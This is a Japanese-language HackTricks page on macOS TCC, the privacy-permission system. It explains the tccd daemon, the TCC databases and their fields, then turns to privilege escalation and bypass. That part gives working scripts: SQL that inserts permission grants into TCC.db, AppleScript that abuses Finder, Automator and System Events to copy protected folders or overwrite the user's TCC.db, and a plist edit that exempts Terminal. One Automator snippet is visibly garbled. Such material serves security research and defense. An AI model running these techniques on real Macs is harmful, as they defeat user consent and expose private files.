macOS TCC

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

基本情報

**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。その主な役割は、位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、およびフルディスクアクセスなどの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることにより、プライバシーを強化し、ユーザーがデータを制御できるようにします。

ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストするときにTCCに遭遇します。これは、ユーザーがアクセスを承認または拒否することができるプロンプトを介して可視化されます。さらに、TCCは、ファイルをアプリケーションにドラッグアンドドロップするなどの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することにより、アプリケーションが明示的に許可されたものにのみアクセスできるようにします。

TCCは、/System/Library/PrivateFrameworks/TCC.framework/Support/tccdにあるデーモンによって処理され、/System/Library/LaunchDaemons/com.apple.tccd.system.plistで構成されています(com.apple.tccd.systemマッチサービスを登録)。

ログインしているユーザーごとに定義されたユーザーモードのtccd/System/Library/LaunchAgents/com.apple.tccd.plistに実行され、com.apple.tccdおよびcom.apple.usernotifications.delegate.com.apple.tccdのマッチサービスを登録しています。

ここでは、システムとユーザーとして実行されているtccdを見ることができます。

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

アプリケーションは親から継承された権限を持ち、Bundle IDDeveloper IDに基づいて権限が追跡されます。

TCC データベース

許可/拒否は次の TCC データベースに保存されます:

  • /Library/Application Support/com.apple.TCC/TCC.db にあるシステム全体のデータベース。

  • このデータベースはSIP 保護されており、SIP バイパスのみが書き込めます。

  • ユーザー TCC データベース $HOME/Library/Application Support/com.apple.TCC/TCC.db はユーザーごとの設定です。

  • このデータベースは保護されており、Full Disk Accessなどの高いTCC権限を持つプロセスのみが書き込めます(ただし、SIP によって保護されていません)。

前述のデータベースは読み取りアクセスのためにもTCC で保護されています。したがって、通常のユーザー TCC データベースを読み取ることはできません(TCC 権限を持つプロセスからでない限り)。

ただし、FDAや**kTCCServiceEndpointSecurityClient**などの高い権限を持つプロセスは、ユーザーのTCCデータベースに書き込むことができます。

  • /var/db/locationd/clients.plist には位置情報サービスにアクセスを許可されたクライアントを示す第三のTCCデータベースがあります。

  • SIP 保護されたファイル /Users/carlospolop/Downloads/REG.db(TCC による読み取りアクセスも保護されています)には、すべての有効なTCCデータベースの場所が含まれています。

  • SIP 保護されたファイル /Users/carlospolop/Downloads/MDMOverrides.plist(TCC による読み取りアクセスも保護されています)には、さらにTCCが許可された権限が含まれています。

  • SIP 保護されたファイル /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist(誰でも読み取り可能)は、TCC例外が必要なアプリケーションの許可リストです。

iOSのTCCデータベースは**/private/var/mobile/Library/TCC/TCC.db**にあります。

通知センターUIシステムTCCデータベースに変更を加えることができます:

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

ただし、ユーザーは**tccutil**コマンドラインユーティリティを使用して、ルールを削除したりクエリしたりすることができます。

データベースのクエリ

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

両方のデータベースをチェックすると、アプリが許可した権限、禁止した権限、または持っていない権限(求められることがある)を確認できます。

  • service は TCC の 権限 文字列表現です

  • client は権限を持つ バンドルID または バイナリのパス です

  • client_type はバンドル識別子(0)か絶対パス(1)かを示します

絶対パスの場合の実行方法

単に launctl load you_bin.plist を実行します。plist は以下のようなものです:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • auth_value には異なる値があります: denied(0), unknown(1), allowed(2), or limited(3).

  • auth_reason には以下の値が入ります: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)

  • csreq フィールドは、実行するバイナリを検証し、TCC のアクセス許可を付与する方法を示すために存在します:

# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"
  • テーブルの他のフィールドに関する詳細は、このブログ投稿をチェックしてください。

また、システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダでアプリケーションにすでに与えられている権限を確認できます。

ユーザーは、tccutilを使用してルールを削除またはクエリできます。

TCC権限のリセット

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC 署名チェック

TCC データベースはアプリケーションの Bundle ID を保存しますが、許可を使用するよう要求するアプリが正しいものであることを確認するために、署名に関する情報も保存します。

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

したがって、同じ名前とバンドルIDを使用する他のアプリケーションは、他のアプリに付与された権限にアクセスできません。

エンタイトルメントとTCC権限

アプリケーションは、リソースにアクセスをリクエストし、許可されたアクセスを持つだけでなく、関連するエンタイトルメントを持っている必要があります。 たとえば、Telegramは、カメラへのアクセスをリクエストするためのエンタイトルメントcom.apple.security.device.cameraを持っています。このエンタイトルメントを持たないアプリケーションは、カメラにアクセスできません(ユーザーにはアクセス許可が求められません)。

ただし、~/Desktop~/Downloads~/Documentsなどの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントを持つ必要はありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。

Appleのアプリケーションはプロンプトを生成しません。それらにはエンタイトルメントリストに事前に付与された権利が含まれており、ポップアップを生成することは決してありませんし、TCCデータベースのいずれにも表示されません。例:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

これにより、カレンダーがユーザーにリマインダー、カレンダー、およびアドレス帳へのアクセスを求めるのを回避できます。

権限に関する公式ドキュメントに加えて、https://newosxbook.com/ent.jl で権限に関する興味深い非公式情報を見つけることも可能です。

一部のTCC権限には、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどがあります。すべてを定義する公開リストはありませんが、既知のリストを確認できます。

機密情報が保護されていない場所

  • $HOME(自体)

  • $HOME/.ssh、$HOME/.aws など

  • /tmp

ユーザーの意図 / com.apple.macl

前述のように、ファイルをアプリにドラッグ&ドロップすることで、そのアプリにファイルへのアクセスを許可することが可能です。このアクセスはどのTCCデータベースにも指定されませんが、ファイルの拡張属性として保存されます。この属性には許可されたアプリのUUIDが保存されます。

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

com.apple.macl属性がSandboxによって管理されている点は興味深いですが、tccdではありません。

また、コンピュータ内のアプリのUUIDを許可するファイルを別のコンピュータに移動すると、同じアプリでも異なるUIDを持つため、そのアプリにアクセス権限が付与されません。

拡張属性com.apple.maclは、他の拡張属性とは異なり、SIPによって保護されているため、クリアできません。ただし、この投稿で説明されているように、ファイルを圧縮して、削除して、解凍することで無効にすることが可能です。

TCC特権昇格とバイパス

TCCに挿入

ある時点でTCCデータベースに対して書き込みアクセス権を取得できた場合、以下のような方法でエントリを追加できます(コメントを削除してください):

TCCに挿入の例

```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCC ペイロード

アプリ内でいくつかの TCC 許可を取得した場合は、次のページをチェックして TCC ペイロードを悪用してください:

pagemacOS TCC Payloads

Apple イベント

Apple イベントについて学ぶ:

pagemacOS Apple Events

オートメーション(Finder)から FDA*

オートメーション許可の TCC 名前は: kTCCServiceAppleEvents この特定の TCC 許可は、TCC データベース内で管理できるアプリケーションを示す(つまり、許可はすべてを管理するだけでなく、特定のアプリケーションを管理することもできる)。

Finder は、常に FDA を持っているアプリケーションです(UI に表示されなくても)、そのため、オートメーション権限を持っている場合は、その権限を悪用していくつかのアクションを実行させることができます。 この場合、あなたのアプリは com.apple.Finder 上の kTCCServiceAppleEvents 権限が必要です。

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

これを悪用して、独自のユーザーTCCデータベースを作成することができます。

この権限を持つと、FinderにTCC制限フォルダへのアクセスを要求してファイルを取得できますが、afaik Finderに任意のコードを実行させることはできません。そのため、完全にFDAアクセスを悪用することはできません。

したがって、完全なFDAの機能を悪用することはできません。

これは、Finderに対してAutomation権限を取得するためのTCCプロンプトです:

AutomatorアプリがTCC権限**kTCCServiceAppleEventsを持っているため、Finderのようなアプリを制御することができます。したがって、Automatorを制御する権限を持っていると、以下のコードのようにFinder**を制御することもできます:

Automator内でシェルを取得

```applescript osascript<

tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

**スクリプトエディターアプリ**でも同じことが起こります。Finderを制御できますが、AppleScriptを使用してスクリプトを実行することはできません。

### Automation (SE) to some TCC

**システムイベント**はフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用してこの動作を悪用することができます。
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

自動化(SE)+ アクセシビリティ(kTCCServicePostEvent|kTCCServiceAccessibility による FDA*

System Events 上での自動化 + アクセシビリティ(kTCCServicePostEvent)を使用すると、プロセスにキーストロークを送信できます。これにより、Finderを悪用してユーザーのTCC.dbを変更したり、FDAを任意のアプリに付与したりできます(ただし、これにはパスワードが求められる場合があります)。

Finder によるユーザーの TCC.db の上書きの例:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibilityからFDAへのエスカレーション

このページをチェックして、アクセシビリティ権限を悪用するペイロードをFDA*にエスカレーションしたり、例えばキーロガーを実行したりできます。

エンドポイントセキュリティクライアントからFDAへ

**kTCCServiceEndpointSecurityClient**を持っていればFDAを持っています。以上。

システムポリシーシステム管理者ファイルからFDAへ

kTCCServiceSystemPolicySysAdminFilesは、ユーザーのNFSHomeDirectory属性を変更し、そのためユーザーのホームフォルダを変更してTCCをバイパスすることができます。

ユーザーTCCデータベースからFDAへ

ユーザーTCCデータベースに書き込み権限を取得すると、自分に**FDA**権限を付与することはできませんが、システムデータベースに存在する権限を付与することができます。

しかし、自分に**Finderへの自動化権限**を与え、前述のテクニックを悪用してFDA*にエスカレーションすることができます。

FDAからTCC権限へ

フルディスクアクセスのTCC名は**kTCCServiceSystemPolicyAllFiles**です。

これは本当のエスカレーションではないと思いますが、念のため便利かもしれません: FDAを持つプログラムを制御できる場合、ユーザーのTCCデータベースを変更して任意のアクセス権を与えることができます。これはFDA権限を失った場合の持続性テクニックとして役立つかもしれません。

SIPバイパスからTCCバイパスへ

システムのTCCデータベースはSIPによって保護されているため、指定された権限を持つプロセスのみがそれを変更できます。したがって、攻撃者がSIPバイパスを見つけると、ファイル(SIPによって制限されたファイルを変更できる)を介して次のことができるようになります:

  • TCCデータベースの保護を解除し、自分にすべてのTCC権限を与えることができます。たとえば、次のファイルを悪用できます:

  • TCCシステムデータベース

  • REG.db

  • MDMOverrides.plist

ただし、このSIPバイパスをTCCバイパスに悪用する別のオプションがあります。/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plistファイルは、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を解除し、独自のアプリケーションを追加すると、そのアプリケーションはTCCをバイパスできるようになります。 たとえば、ターミナルを追加する場合:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

AllowApplicationsList.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC バイパス

参考文献

Last updated